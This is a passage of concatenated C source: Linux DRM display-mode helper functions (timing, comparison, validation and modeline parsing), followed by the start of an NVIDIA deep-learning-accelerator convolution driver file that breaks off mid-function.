CRTC_INTERLACE_HALVE_V flag can be used to halve vertical timings of * interlaced modes. * - The CRTC_STEREO_DOUBLE flag can be used to compute the timings for * buffers containing two eyes (only adjust the timings when needed, eg. for * "frame packing" or "side by side full"). * - The CRTC_NO_DBLSCAN and CRTC_NO_VSCAN flags request that adjustment *not* * be performed for doublescan and vscan > 1 modes respectively. */ void drm_mode_set_crtcinfo(struct drm_display_mode *p, int adjust_flags) { if ((p == NULL) || ((p->type & DRM_MODE_TYPE_CRTC_C) == DRM_MODE_TYPE_BUILTIN)) return; p->crtc_clock = p->clock; p->crtc_hdisplay = p->hdisplay; p->crtc_hsync_start = p->hsync_start; p->crtc_hsync_end = p->hsync_end; p->crtc_htotal = p->htotal; p->crtc_hskew = p->hskew; p->crtc_vdisplay = p->vdisplay; p->crtc_vsync_start = p->vsync_start; p->crtc_vsync_end = p->vsync_end; p->crtc_vtotal = p->vtotal; if (p->flags & DRM_MODE_FLAG_INTERLACE) { if (adjust_flags & CRTC_INTERLACE_HALVE_V) { p->crtc_vdisplay /= 2; p->crtc_vsync_start /= 2; p->crtc_vsync_end /= 2; p->crtc_vtotal /= 2; } } if (!(adjust_flags & CRTC_NO_DBLSCAN)) { if (p->flags & DRM_MODE_FLAG_DBLSCAN) { p->crtc_vdisplay *= 2; p->crtc_vsync_start *= 2; p->crtc_vsync_end *= 2; p->crtc_vtotal *= 2; } } if (!(adjust_flags & CRTC_NO_VSCAN)) { if (p->vscan > 1) { p->crtc_vdisplay *= p->vscan; p->crtc_vsync_start *= p->vscan; p->crtc_vsync_end *= p->vscan; p->crtc_vtotal *= p->vscan; } } if (adjust_flags & CRTC_STEREO_DOUBLE) { unsigned int layout = p->flags & DRM_MODE_FLAG_3D_MASK; switch (layout) { case DRM_MODE_FLAG_3D_FRAME_PACKING: p->crtc_clock *= 2; p->crtc_vdisplay += p->crtc_vtotal; p->crtc_vsync_start += p->crtc_vtotal; p->crtc_vsync_end += p->crtc_vtotal; p->crtc_vtotal += p->crtc_vtotal; break; } } p->crtc_vblank_start = min(p->crtc_vsync_start, p->crtc_vdisplay); p->crtc_vblank_end = max(p->crtc_vsync_end, p->crtc_vtotal); p->crtc_hblank_start = min(p->crtc_hsync_start, p->crtc_hdisplay); p->crtc_hblank_end = max(p->crtc_hsync_end, p->crtc_htotal); } EXPORT_SYMBOL(drm_mode_set_crtcinfo); /** * drm_mode_copy - copy the mode * @dst: mode to overwrite * @src: mode to copy * * Copy an existing mode into another mode, preserving the object id and * list head of the destination mode. */ void drm_mode_copy(struct drm_display_mode *dst, const struct drm_display_mode *src) { int id = dst->base.id; struct list_head head = dst->head; *dst = *src; dst->base.id = id; dst->head = head; } EXPORT_SYMBOL(drm_mode_copy); /** * drm_mode_duplicate - allocate and duplicate an existing mode * @dev: drm_device to allocate the duplicated mode for * @mode: mode to duplicate * * Just allocate a new mode, copy the existing mode into it, and return * a pointer to it. Used to create new instances of established modes. * * Returns: * Pointer to duplicated mode on success, NULL on error. */ struct drm_display_mode *drm_mode_duplicate(struct drm_device *dev, const struct drm_display_mode *mode) { struct drm_display_mode *nmode; nmode = drm_mode_create(dev); if (!nmode) return NULL; drm_mode_copy(nmode, mode); return nmode; } EXPORT_SYMBOL(drm_mode_duplicate); /** * drm_mode_equal - test modes for equality * @mode1: first mode * @mode2: second mode * * Check to see if @mode1 and @mode2 are equivalent. * * Returns: * True if the modes are equal, false otherwise. */ bool drm_mode_equal(const struct drm_display_mode *mode1, const struct drm_display_mode *mode2) { if (!mode1 && !mode2) return true; if (!mode1 || !mode2) return false; /* do clock check convert to PICOS so fb modes get matched * the same */ if (mode1->clock && mode2->clock) { if (KHZ2PICOS(mode1->clock) != KHZ2PICOS(mode2->clock)) return false; } else if (mode1->clock != mode2->clock) return false; return drm_mode_equal_no_clocks(mode1, mode2); } EXPORT_SYMBOL(drm_mode_equal); /** * drm_mode_equal_no_clocks - test modes for equality * @mode1: first mode * @mode2: second mode * * Check to see if @mode1 and @mode2 are equivalent, but * don't check the pixel clocks. * * Returns: * True if the modes are equal, false otherwise. */ bool drm_mode_equal_no_clocks(const struct drm_display_mode *mode1, const struct drm_display_mode *mode2) { if ((mode1->flags & DRM_MODE_FLAG_3D_MASK) != (mode2->flags & DRM_MODE_FLAG_3D_MASK)) return false; return drm_mode_equal_no_clocks_no_stereo(mode1, mode2); } EXPORT_SYMBOL(drm_mode_equal_no_clocks); /** * drm_mode_equal_no_clocks_no_stereo - test modes for equality * @mode1: first mode * @mode2: second mode * * Check to see if @mode1 and @mode2 are equivalent, but * don't check the pixel clocks nor the stereo layout. * * Returns: * True if the modes are equal, false otherwise. */ bool drm_mode_equal_no_clocks_no_stereo(const struct drm_display_mode *mode1, const struct drm_display_mode *mode2) { if (mode1->hdisplay == mode2->hdisplay && mode1->hsync_start == mode2->hsync_start && mode1->hsync_end == mode2->hsync_end && mode1->htotal == mode2->htotal && mode1->hskew == mode2->hskew && mode1->vdisplay == mode2->vdisplay && mode1->vsync_start == mode2->vsync_start && mode1->vsync_end == mode2->vsync_end && mode1->vtotal == mode2->vtotal && mode1->vscan == mode2->vscan && (mode1->flags & ~DRM_MODE_FLAG_3D_MASK) == (mode2->flags & ~DRM_MODE_FLAG_3D_MASK)) return true; return false; } EXPORT_SYMBOL(drm_mode_equal_no_clocks_no_stereo); /** * drm_mode_validate_basic - make sure the mode is somewhat sane * @mode: mode to check * * Check that the mode timings are at least somewhat reasonable. * Any hardware specific limits are left up for each driver to check. * * Returns: * The mode status */ enum drm_mode_status drm_mode_validate_basic(const struct drm_display_mode *mode) { if (mode->clock == 0) return MODE_CLOCK_LOW; if (mode->hdisplay == 0 || mode->hsync_start < mode->hdisplay || mode->hsync_end < mode->hsync_start || mode->htotal < mode->hsync_end) return MODE_H_ILLEGAL; if (mode->vdisplay == 0 || mode->vsync_start < mode->vdisplay || mode->vsync_end < mode->vsync_start || mode->vtotal < mode->vsync_end) return MODE_V_ILLEGAL; return MODE_OK; } EXPORT_SYMBOL(drm_mode_validate_basic); /** * drm_mode_validate_size - make sure modes adhere to size constraints * @mode: mode to check * @maxX: maximum width * @maxY: maximum height * * This function is a helper which can be used to validate modes against size * limitations of the DRM device/connector. If a mode is too big its status * member is updated with the appropriate validation failure code. The list * itself is not changed. * * Returns: * The mode status */ enum drm_mode_status drm_mode_validate_size(const struct drm_display_mode *mode, int maxX, int maxY) { if (maxX > 0 && mode->hdisplay > maxX) return MODE_VIRTUAL_X; if (maxY > 0 && mode->vdisplay > maxY) return MODE_VIRTUAL_Y; return MODE_OK; } EXPORT_SYMBOL(drm_mode_validate_size); #define MODE_STATUS(status) [MODE_ ## status + 3] = #status static const char * const drm_mode_status_names[] = { MODE_STATUS(OK), MODE_STATUS(HSYNC), MODE_STATUS(VSYNC), MODE_STATUS(H_ILLEGAL), MODE_STATUS(V_ILLEGAL), MODE_STATUS(BAD_WIDTH), MODE_STATUS(NOMODE), MODE_STATUS(NO_INTERLACE), MODE_STATUS(NO_DBLESCAN), MODE_STATUS(NO_VSCAN), MODE_STATUS(MEM), MODE_STATUS(VIRTUAL_X), MODE_STATUS(VIRTUAL_Y), MODE_STATUS(MEM_VIRT), MODE_STATUS(NOCLOCK), MODE_STATUS(CLOCK_HIGH), MODE_STATUS(CLOCK_LOW), MODE_STATUS(CLOCK_RANGE), MODE_STATUS(BAD_HVALUE), MODE_STATUS(BAD_VVALUE), MODE_STATUS(BAD_VSCAN), MODE_STATUS(HSYNC_NARROW), MODE_STATUS(HSYNC_WIDE), MODE_STATUS(HBLANK_NARROW), MODE_STATUS(HBLANK_WIDE), MODE_STATUS(VSYNC_NARROW), MODE_STATUS(VSYNC_WIDE), MODE_STATUS(VBLANK_NARROW), MODE_STATUS(VBLANK_WIDE), MODE_STATUS(PANEL), MODE_STATUS(INTERLACE_WIDTH), MODE_STATUS(ONE_WIDTH), MODE_STATUS(ONE_HEIGHT), MODE_STATUS(ONE_SIZE), MODE_STATUS(NO_REDUCED), MODE_STATUS(NO_STEREO), MODE_STATUS(STALE), MODE_STATUS(BAD), MODE_STATUS(ERROR), }; #undef MODE_STATUS static const char *drm_get_mode_status_name(enum drm_mode_status status) { int index = status + 3; if (WARN_ON(index < 0 || index >= ARRAY_SIZE(drm_mode_status_names))) return ""; return drm_mode_status_names[index]; } /** * drm_mode_prune_invalid - remove invalid modes from mode list * @dev: DRM device * @mode_list: list of modes to check * @verbose: be verbose about it * * This helper function can be used to prune a display mode list after * validation has been completed. All modes who's status is not MODE_OK will be * removed from the list, and if @verbose the status code and mode name is also * printed to dmesg. */ void drm_mode_prune_invalid(struct drm_device *dev, struct list_head *mode_list, bool verbose) { struct drm_display_mode *mode, *t; list_for_each_entry_safe(mode, t, mode_list, head) { if (mode->status != MODE_OK) { list_del(&mode->head); if (verbose) { drm_mode_debug_printmodeline(mode); DRM_DEBUG_KMS("Not using %s mode: %s\n", mode->name, drm_get_mode_status_name(mode->status)); } drm_mode_destroy(dev, mode); } } } EXPORT_SYMBOL(drm_mode_prune_invalid); /** * drm_mode_compare - compare modes for favorability * @priv: unused * @lh_a: list_head for first mode * @lh_b: list_head for second mode * * Compare two modes, given by @lh_a and @lh_b, returning a value indicating * which is better. * * Returns: * Negative if @lh_a is better than @lh_b, zero if they're equivalent, or * positive if @lh_b is better than @lh_a. */ static int drm_mode_compare(void *priv, struct list_head *lh_a, struct list_head *lh_b) { struct drm_display_mode *a = list_entry(lh_a, struct drm_display_mode, head); struct drm_display_mode *b = list_entry(lh_b, struct drm_display_mode, head); int diff; diff = ((b->type & DRM_MODE_TYPE_PREFERRED) != 0) - ((a->type & DRM_MODE_TYPE_PREFERRED) != 0); if (diff) return diff; diff = b->hdisplay * b->vdisplay - a->hdisplay * a->vdisplay; if (diff) return diff; diff = b->vrefresh - a->vrefresh; if (diff) return diff; diff = b->clock - a->clock; return diff; } /** * drm_mode_sort - sort mode list * @mode_list: list of drm_display_mode structures to sort * * Sort @mode_list by favorability, moving good modes to the head of the list. */ void drm_mode_sort(struct list_head *mode_list) { list_sort(NULL, mode_list, drm_mode_compare); } EXPORT_SYMBOL(drm_mode_sort); /** * drm_mode_connector_list_update - update the mode list for the connector * @connector: the connector to update * * This moves the modes from the @connector probed_modes list * to the actual mode list. It compares the probed mode against the current * list and only adds different/new modes. * * This is just a helper functions doesn't validate any modes itself and also * doesn't prune any invalid modes. Callers need to do that themselves. */ void drm_mode_connector_list_update(struct drm_connector *connector) { struct drm_display_mode *pmode, *pt; WARN_ON(!mutex_is_locked(&connector->dev->mode_config.mutex)); list_for_each_entry_safe(pmode, pt, &connector->probed_modes, head) { struct drm_display_mode *mode; bool found_it = false; /* go through current modes checking for the new probed mode */ list_for_each_entry(mode, &connector->modes, head) { if (!drm_mode_equal(pmode, mode)) continue; found_it = true; /* * If the old matching mode is stale (ie. left over * from a previous probe) just replace it outright. * Otherwise just merge the type bits between all * equal probed modes. * * If two probed modes are considered equal, pick the * actual timings from the one that's marked as * preferred (in case the match isn't 100%). If * multiple or zero preferred modes are present, favor * the mode added to the probed_modes list first. */ if (mode->status == MODE_STALE) { drm_mode_copy(mode, pmode); } else if ((mode->type & DRM_MODE_TYPE_PREFERRED) == 0 && (pmode->type & DRM_MODE_TYPE_PREFERRED) != 0) { pmode->type |= mode->type; drm_mode_copy(mode, pmode); } else { mode->type |= pmode->type; } list_del(&pmode->head); drm_mode_destroy(connector->dev, pmode); break; } if (!found_it) { list_move_tail(&pmode->head, &connector->modes); } } } EXPORT_SYMBOL(drm_mode_connector_list_update); /** * drm_mode_parse_command_line_for_connector - parse command line modeline for connector * @mode_option: optional per connector mode option * @connector: connector to parse modeline for * @mode: preallocated drm_cmdline_mode structure to fill out * * This parses @mode_option command line modeline for modes and options to * configure the connector. If @mode_option is NULL the default command line * modeline in fb_mode_option will be parsed instead. * * This uses the same parameters as the fb modedb.c, except for an extra * force-enable, force-enable-digital and force-disable bit at the end: * * <xres>x<yres>[M][R][-<bpp>][@<refresh>][i][m][eDd] * * The intermediate drm_cmdline_mode structure is required to store additional * options from the command line modline like the force-enable/disable flag. * * Returns: * True if a valid modeline has been parsed, false otherwise. */ bool drm_mode_parse_command_line_for_connector(const char *mode_option, struct drm_connector *connector, struct drm_cmdline_mode *mode) { const char *name; unsigned int namelen; bool res_specified = false, bpp_specified = false, refresh_specified = false; unsigned int xres = 0, yres = 0, bpp = 32, refresh = 0; bool yres_specified = false, cvt = false, rb = false; bool interlace = false, margins = false, was_digit = false; int i; enum drm_connector_force force = DRM_FORCE_UNSPECIFIED; #ifdef CONFIG_FB if (!mode_option) mode_option = fb_mode_option; #endif if (!mode_option) { mode->specified = false; return false; } name = mode_option; namelen = strlen(name); for (i = namelen-1; i >= 0; i--) { switch (name[i]) { case '@': if (!refresh_specified && !bpp_specified && !yres_specified && !cvt && !rb && was_digit) { refresh = simple_strtol(&name[i+1], NULL, 10); refresh_specified = true; was_digit = false; } else goto done; break; case '-': if (!bpp_specified && !yres_specified && !cvt && !rb && was_digit) { bpp = simple_strtol(&name[i+1], NULL, 10); bpp_specified = true; was_digit = false; } else goto done; break; case 'x': if (!yres_specified && was_digit) { yres = simple_strtol(&name[i+1], NULL, 10); yres_specified = true; was_digit = false; } else goto done; break; case '0' ... '9': was_digit = true; break; case 'M': if (yres_specified || cvt || was_digit) goto done; cvt = true; break; case 'R': if (yres_specified || cvt || rb || was_digit) goto done; rb = true; break; case 'm': if (cvt || yres_specified || was_digit) goto done; margins = true; break; case 'i': if (cvt || yres_specified || was_digit) goto done; interlace = true; break; case 'e': if (yres_specified || bpp_specified || refresh_specified || was_digit || (force != DRM_FORCE_UNSPECIFIED)) goto done; force = DRM_FORCE_ON; break; case 'D': if (yres_specified || bpp_specified || refresh_specified || was_digit || (force != DRM_FORCE_UNSPECIFIED)) goto done; if ((connector->connector_type != DRM_MODE_CONNECTOR_DVII) && (connector->connector_type != DRM_MODE_CONNECTOR_HDMIB)) force = DRM_FORCE_ON; else force = DRM_FORCE_ON_DIGITAL; break; case 'd': if (yres_specified || bpp_specified || refresh_specified || was_digit || (force != DRM_FORCE_UNSPECIFIED)) goto done; force = DRM_FORCE_OFF; break; default: goto done; } } if (i < 0 && yres_specified) { char *ch; xres = simple_strtol(name, &ch, 10); if ((ch != NULL) && (*ch == 'x')) res_specified = true; else i = ch - name; } else if (!yres_specified && was_digit) { /* catch mode that begins with digits but has no 'x' */ i = 0; } done: if (i >= 0) { pr_warn("[drm] parse error at position %i in video mode '%s'\n", i, name); mode->specified = false; return false; } if (res_specified) { mode->specified = true; mode->xres = xres; mode->yres = yres; } if (refresh_specified) { mode->refresh_specified = true; mode->refresh = refresh; } if (bpp_specified) { mode->bpp_specified = true; mode->bpp = bpp; } mode->rb = rb; mode->cvt = cvt; mode->interlace = interlace; mode->margins = margins; mode->force = force; return true; } EXPORT_SYMBOL(drm_mode_parse_command_line_for_connector); /** * drm_mode_create_from_cmdline_mode - convert a command line modeline into a DRM display mode * @dev: DRM device to create the new mode for * @cmd: input command line modeline * * Returns: * Pointer to converted mode on success, NULL on error. */ struct drm_display_mode * drm_mode_create_from_cmdline_mode(struct drm_device *dev, struct drm_cmdline_mode *cmd) { struct drm_display_mode *mode; if (cmd->cvt) mode = drm_cvt_mode(dev, cmd->xres, cmd->yres, cmd->refresh_specified ? cmd->refresh : 60, cmd->rb, cmd->interlace, cmd->margins); else mode = drm_gtf_mode(dev, cmd->xres, cmd->yres, cmd->refresh_specified ? cmd->refresh : 60, cmd->interlace, cmd->margins); if (!mode) return NULL; mode->type |= DRM_MODE_TYPE_USERDEF; /* fix up 1368x768: GFT/CVT can't express 1366 width due to alignment */ if (cmd->xres == 1366 && mode->hdisplay == 1368) { mode->hdisplay = 1366; mode->hsync_start--; mode->hsync_end--; drm_mode_set_name(mode); } drm_mode_set_crtcinfo(mode, CRTC_INTERLACE_HALVE_V); return mode; } EXPORT_SYMBOL(drm_mode_create_from_cmdline_mode); /** * drm_crtc_convert_to_umode - convert a drm_display_mode into a modeinfo * @out: drm_mode_modeinfo struct to return to the user * @in: drm_display_mode to use * * Convert a drm_display_mode into a drm_mode_modeinfo structure to return to * the user. */ void drm_mode_convert_to_umode(struct drm_mode_modeinfo *out, const struct drm_display_mode *in) { WARN(in->hdisplay > USHRT_MAX || in->hsync_start > USHRT_MAX || in->hsync_end > USHRT_MAX || in->htotal > USHRT_MAX || in->hskew > USHRT_MAX || in->vdisplay > USHRT_MAX || in->vsync_start > USHRT_MAX || in->vsync_end > USHRT_MAX || in->vtotal > USHRT_MAX || in->vscan > USHRT_MAX, "timing values too large for mode info\n"); out->clock = in->clock; out->hdisplay = in->hdisplay; out->hsync_start = in->hsync_start; out->hsync_end = in->hsync_end; out->htotal = in->htotal; out->hskew = in->hskew; out->vdisplay = in->vdisplay; out->vsync_start = in->vsync_start; out->vsync_end = in->vsync_end; out->vtotal = in->vtotal; out->vscan = in->vscan; out->vrefresh = in->vrefresh; out->flags = in->flags; out->type = in->type; strncpy(out->name, in->name, DRM_DISPLAY_MODE_LEN); out->name[DRM_DISPLAY_MODE_LEN-1] = 0; } /** * drm_crtc_convert_umode - convert a modeinfo into a drm_display_mode * @out: drm_display_mode to return to the user * @in: drm_mode_modeinfo to use * * Convert a drm_mode_modeinfo into a drm_display_mode structure to return to * the caller. * * Returns: * Zero on success, negative errno on failure. */ int drm_mode_convert_umode(struct drm_display_mode *out, const struct drm_mode_modeinfo *in) { int ret = -EINVAL; if (in->clock > INT_MAX || in->vrefresh > INT_MAX) { ret = -ERANGE; goto out; } if ((in->flags & DRM_MODE_FLAG_3D_MASK) > DRM_MODE_FLAG_3D_MAX) goto out; out->clock = in->clock; out->hdisplay = in->hdisplay; out->hsync_start = in->hsync_start; out->hsync_end = in->hsync_end; out->htotal = in->htotal; out->hskew = in->hskew; out->vdisplay = in->vdisplay; out->vsync_start = in->vsync_start; out->vsync_end = in->vsync_end; out->vtotal = in->vtotal; out->vscan = in->vscan; out->vrefresh = in->vrefresh; out->flags = in->flags; out->type = in->type; strncpy(out->name, in->name, DRM_DISPLAY_MODE_LEN); out->name[DRM_DISPLAY_MODE_LEN-1] = 0; out->status = drm_mode_validate_basic(out); if (out->status != MODE_OK) goto out; drm_mode_set_crtcinfo(out, CRTC_INTERLACE_HALVE_V); ret = 0; out: return ret; }
440670.c
/* * Copyright (c) 2017-2019, NVIDIA CORPORATION. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * Neither the name of NVIDIA CORPORATION nor the names of its * contributors may be used to endorse or promote products derived * from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS ``AS IS'' AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include <stdint.h> #include <opendla.h> #include <dla_debug.h> #include <dla_err.h> #include <dla_interface.h> #include "common.h" #include "dla_engine_internal.h" #include "engine_debug.h" static const uint8_t map_precision[] = { FIELD_ENUM(CDMA_D_MISC_CFG_0, IN_PRECISION, INT8), FIELD_ENUM(CDMA_D_MISC_CFG_0, IN_PRECISION, INT16), FIELD_ENUM(CDMA_D_MISC_CFG_0, IN_PRECISION, FP16), }; static const uint8_t map_conv[] = { FIELD_ENUM(CACC_D_MISC_CFG_0, CONV_MODE, DIRECT), FIELD_ENUM(CACC_D_MISC_CFG_0, CONV_MODE, WINOGRAD), }; static const uint8_t map_weight_fmt[] = { FIELD_ENUM(CSC_D_WEIGHT_FORMAT_0, WEIGHT_FORMAT, UNCOMPRESSED), FIELD_ENUM(CSC_D_WEIGHT_FORMAT_0, WEIGHT_FORMAT, COMPRESSED), }; static const uint8_t map_img_fmt[][2] = { {FIELD_ENUM(CDMA_D_DATAIN_FORMAT_0, PIXEL_FORMAT, T_R8), 1}, {FIELD_ENUM(CDMA_D_DATAIN_FORMAT_0, PIXEL_FORMAT, T_R10), 2}, {FIELD_ENUM(CDMA_D_DATAIN_FORMAT_0, PIXEL_FORMAT, T_R12), 2}, {FIELD_ENUM(CDMA_D_DATAIN_FORMAT_0, PIXEL_FORMAT, T_R16), 2}, {FIELD_ENUM(CDMA_D_DATAIN_FORMAT_0, PIXEL_FORMAT, T_R16_I), 2}, {FIELD_ENUM(CDMA_D_DATAIN_FORMAT_0, PIXEL_FORMAT, T_R16_F), 2}, {FIELD_ENUM(CDMA_D_DATAIN_FORMAT_0, PIXEL_FORMAT, T_A16B16G16R16), 8}, {FIELD_ENUM(CDMA_D_DATAIN_FORMAT_0, PIXEL_FORMAT, T_X16B16G16R16), 8}, {FIELD_ENUM(CDMA_D_DATAIN_FORMAT_0, PIXEL_FORMAT, T_A16B16G16R16_F), 8}, {FIELD_ENUM(CDMA_D_DATAIN_FORMAT_0, PIXEL_FORMAT, T_A16Y16U16V16), 8}, {FIELD_ENUM(CDMA_D_DATAIN_FORMAT_0, PIXEL_FORMAT, T_V16U16Y16A16), 8}, {FIELD_ENUM(CDMA_D_DATAIN_FORMAT_0, PIXEL_FORMAT, T_A16Y16U16V16_F), 8}, {FIELD_ENUM(CDMA_D_DATAIN_FORMAT_0, PIXEL_FORMAT, T_A8B8G8R8), 4}, {FIELD_ENUM(CDMA_D_DATAIN_FORMAT_0, PIXEL_FORMAT, T_A8R8G8B8), 4}, {FIELD_ENUM(CDMA_D_DATAIN_FORMAT_0, PIXEL_FORMAT, T_B8G8R8A8), 4}, {FIELD_ENUM(CDMA_D_DATAIN_FORMAT_0, PIXEL_FORMAT, T_R8G8B8A8), 4}, {FIELD_ENUM(CDMA_D_DATAIN_FORMAT_0, PIXEL_FORMAT, T_X8B8G8R8), 4}, {FIELD_ENUM(CDMA_D_DATAIN_FORMAT_0, PIXEL_FORMAT, T_X8R8G8B8), 4}, {FIELD_ENUM(CDMA_D_DATAIN_FORMAT_0, PIXEL_FORMAT, T_B8G8R8X8), 4}, {FIELD_ENUM(CDMA_D_DATAIN_FORMAT_0, PIXEL_FORMAT, T_R8G8B8X8), 4}, {FIELD_ENUM(CDMA_D_DATAIN_FORMAT_0, PIXEL_FORMAT, T_A2B10G10R10), 4}, {FIELD_ENUM(CDMA_D_DATAIN_FORMAT_0, PIXEL_FORMAT, T_A2R10G10B10), 4}, {FIELD_ENUM(CDMA_D_DATAIN_FORMAT_0, PIXEL_FORMAT, T_B10G10R10A2), 4}, {FIELD_ENUM(CDMA_D_DATAIN_FORMAT_0, PIXEL_FORMAT, T_R10G10B10A2), 4}, {FIELD_ENUM(CDMA_D_DATAIN_FORMAT_0, PIXEL_FORMAT, T_A2Y10U10V10), 4}, {FIELD_ENUM(CDMA_D_DATAIN_FORMAT_0, PIXEL_FORMAT, T_V10U10Y10A2), 4}, {FIELD_ENUM(CDMA_D_DATAIN_FORMAT_0, PIXEL_FORMAT, T_A8Y8U8V8), 4}, {FIELD_ENUM(CDMA_D_DATAIN_FORMAT_0, PIXEL_FORMAT, T_V8U8Y8A8), 4}, {FIELD_ENUM(CDMA_D_DATAIN_FORMAT_0, PIXEL_FORMAT, T_Y8___U8V8_N444), 1}, {FIELD_ENUM(CDMA_D_DATAIN_FORMAT_0, PIXEL_FORMAT, T_Y8___V8U8_N444), 1}, {FIELD_ENUM(CDMA_D_DATAIN_FORMAT_0, PIXEL_FORMAT, T_Y10___U10V10_N444), 2}, {FIELD_ENUM(CDMA_D_DATAIN_FORMAT_0, PIXEL_FORMAT, T_Y10___V10U10_N444), 2}, {FIELD_ENUM(CDMA_D_DATAIN_FORMAT_0, PIXEL_FORMAT, T_Y12___U12V12_N444), 2}, {FIELD_ENUM(CDMA_D_DATAIN_FORMAT_0, PIXEL_FORMAT, T_Y12___V12U12_N444), 2}, {FIELD_ENUM(CDMA_D_DATAIN_FORMAT_0, PIXEL_FORMAT, T_Y16___U16V16_N444), 2}, {FIELD_ENUM(CDMA_D_DATAIN_FORMAT_0, PIXEL_FORMAT, T_Y16___V16U16_N444), 2}, {FIELD_ENUM(CDMA_D_DATAIN_FORMAT_0, DATAIN_FORMAT, FEATURE), 2}, {FIELD_ENUM(CDMA_D_DATAIN_FORMAT_0, DATAIN_FORMAT, PIXEL), 1}, }; static const uint8_t map_pixel[] = { FIELD_ENUM(CDMA_D_DATAIN_FORMAT_0, PIXEL_MAPPING, PITCH_LINEAR), }; static const uint8_t map_ram[] = { FIELD_ENUM(CDMA_D_DAIN_RAM_TYPE_0, DATAIN_RAM_TYPE, MCIF), FIELD_ENUM(CDMA_D_DAIN_RAM_TYPE_0, DATAIN_RAM_TYPE, CVIF), }; static const uint8_t map_mean[] = { FIELD_ENUM(CDMA_D_MEAN_FORMAT_0, MEAN_FORMAT, DISABLE), FIELD_ENUM(CDMA_D_MEAN_FORMAT_0, MEAN_FORMAT, ENABLE), }; #if STAT_ENABLE void dla_conv_stat_data(struct dla_processor *processor, struct dla_processor_group *group) { uint64_t end_time = 0; struct dla_conv_stat_desc *conv_stat; conv_stat = &processor->stat_data_desc->conv_stat; end_time = dla_get_time_us(); conv_stat->data_read_stall = cdma_reg_read(D_PERF_DAT_READ_STALL); conv_stat->weight_read_stall = cdma_reg_read(D_PERF_WT_READ_STALL); conv_stat->data_read_latency = cdma_reg_read(D_PERF_DAT_READ_LATENCY); conv_stat->weight_read_latency = cdma_reg_read(D_PERF_WT_READ_LATENCY); conv_stat->nan_data_num = cdma_reg_read(D_NAN_INPUT_DATA_NUM); conv_stat->nan_weight_num = cdma_reg_read(D_NAN_INPUT_WEIGHT_NUM); conv_stat->inf_data_num = cdma_reg_read(D_INF_INPUT_DATA_NUM); conv_stat->inf_weight_num = cdma_reg_read(D_INF_INPUT_WEIGHT_NUM); conv_stat->saturation_count = cacc_reg_read(D_OUT_SATURATION); conv_stat->runtime = (uint32_t)(end_time - group->start_time); } void dla_conv_dump_stat(struct dla_processor *processor) { struct dla_conv_stat_desc *conv_stat; conv_stat = &processor->stat_data_desc->conv_stat; dla_debug_conv_stats(conv_stat); } #endif /* STAT_ENABLE */ static uint32_t get_in_format(uint8_t format) { uint32_t in_format = 0; if (format >= FORMAT_T_R8 && format < FORMAT_FEATURE) { in_format = FIELD_ENUM(CDMA_D_DATAIN_FORMAT_0, DATAIN_FORMAT, PIXEL); } else if (format == FORMAT_FEATURE) { in_format = FIELD_ENUM(CDMA_D_DATAIN_FORMAT_0, DATAIN_FORMAT, FEATURE); } else { assert(0); } return in_format; } void dla_conv_set_producer(int32_t group_id, int32_t rdma_group_id) { uint32_t reg; /* set producer pointer for all sub-modules */ reg = group_id << SHIFT(CACC_S_POINTER_0, PRODUCER); cacc_reg_write(S_POINTER, reg); cmac_a_reg_write(S_POINTER, reg); cmac_b_reg_write(S_POINTER, reg); csc_reg_write(S_POINTER, reg); cdma_reg_write(S_POINTER, reg); } int32_t dla_conv_enable(struct dla_processor_group *group) { uint32_t reg; struct dla_engine *engine = dla_get_engine(); dla_trace("Enter: %s", __func__); do { reg = cdma_reg_read(S_CBUF_FLUSH_STATUS); } while (!(reg & MASK(CDMA_S_CBUF_FLUSH_STATUS_0, FLUSH_DONE))); if (engine->stat_enable == (uint32_t)1) { cdma_reg_write(D_PERF_ENABLE, 1); group->start_time = dla_get_time_us(); } /* enable all sub-modules */ reg = FIELD_ENUM(CACC_D_OP_ENABLE_0, OP_EN, ENABLE); cacc_reg_write(D_OP_ENABLE, reg); cmac_a_reg_write(D_OP_ENABLE, reg); cmac_b_reg_write(D_OP_ENABLE, reg); csc_reg_write(D_OP_ENABLE, reg); cdma_reg_write(D_OP_ENABLE, reg); dla_trace("Exit: %s", __func__); RETURN(0); } void dla_conv_rdma_check(struct dla_processor_group *group) { group->is_rdma_needed = 0; } static int32_t processor_conv_program(struct dla_processor_group *group) { int32_t ret = 0; uint32_t reg, high, low, shift, mask; uint32_t stride_x, stride_y, pad_x, pad_y; uint64_t weight_address = 0; uint64_t wmb_address = 0; uint64_t wgs_address = 0; uint64_t input_address = 0; uint64_t output_address = 0; uint32_t atom_size = 0; bool weight_compress_support = false; struct dla_engine *engine = dla_get_engine(); struct dla_conv_op_desc *conv_op; struct dla_conv_surface_desc *conv_surface; dla_trace("Enter: %s", __func__); weight_compress_support = engine->config_data->weight_compress_support; atom_size = engine->config_data->atom_size; conv_op = &group->operation_desc->conv_op; conv_surface = &group->surface_desc->conv_surface; if (conv_op->weight_format == WEIGHT_FORMAT_COMPRESSED) { ASSERT_GOTO((weight_compress_support), ret, ERR(INVALID_INPUT), exit); ASSERT_GOTO((conv_surface->wmb_data.address != -1), ret, ERR(INVALID_INPUT), exit); dla_get_dma_cube_address(engine->driver_context, engine->task->task_data, conv_surface->wmb_data.address, conv_surface->wmb_data.offset, (void *)&wmb_address, DESTINATION_DMA); 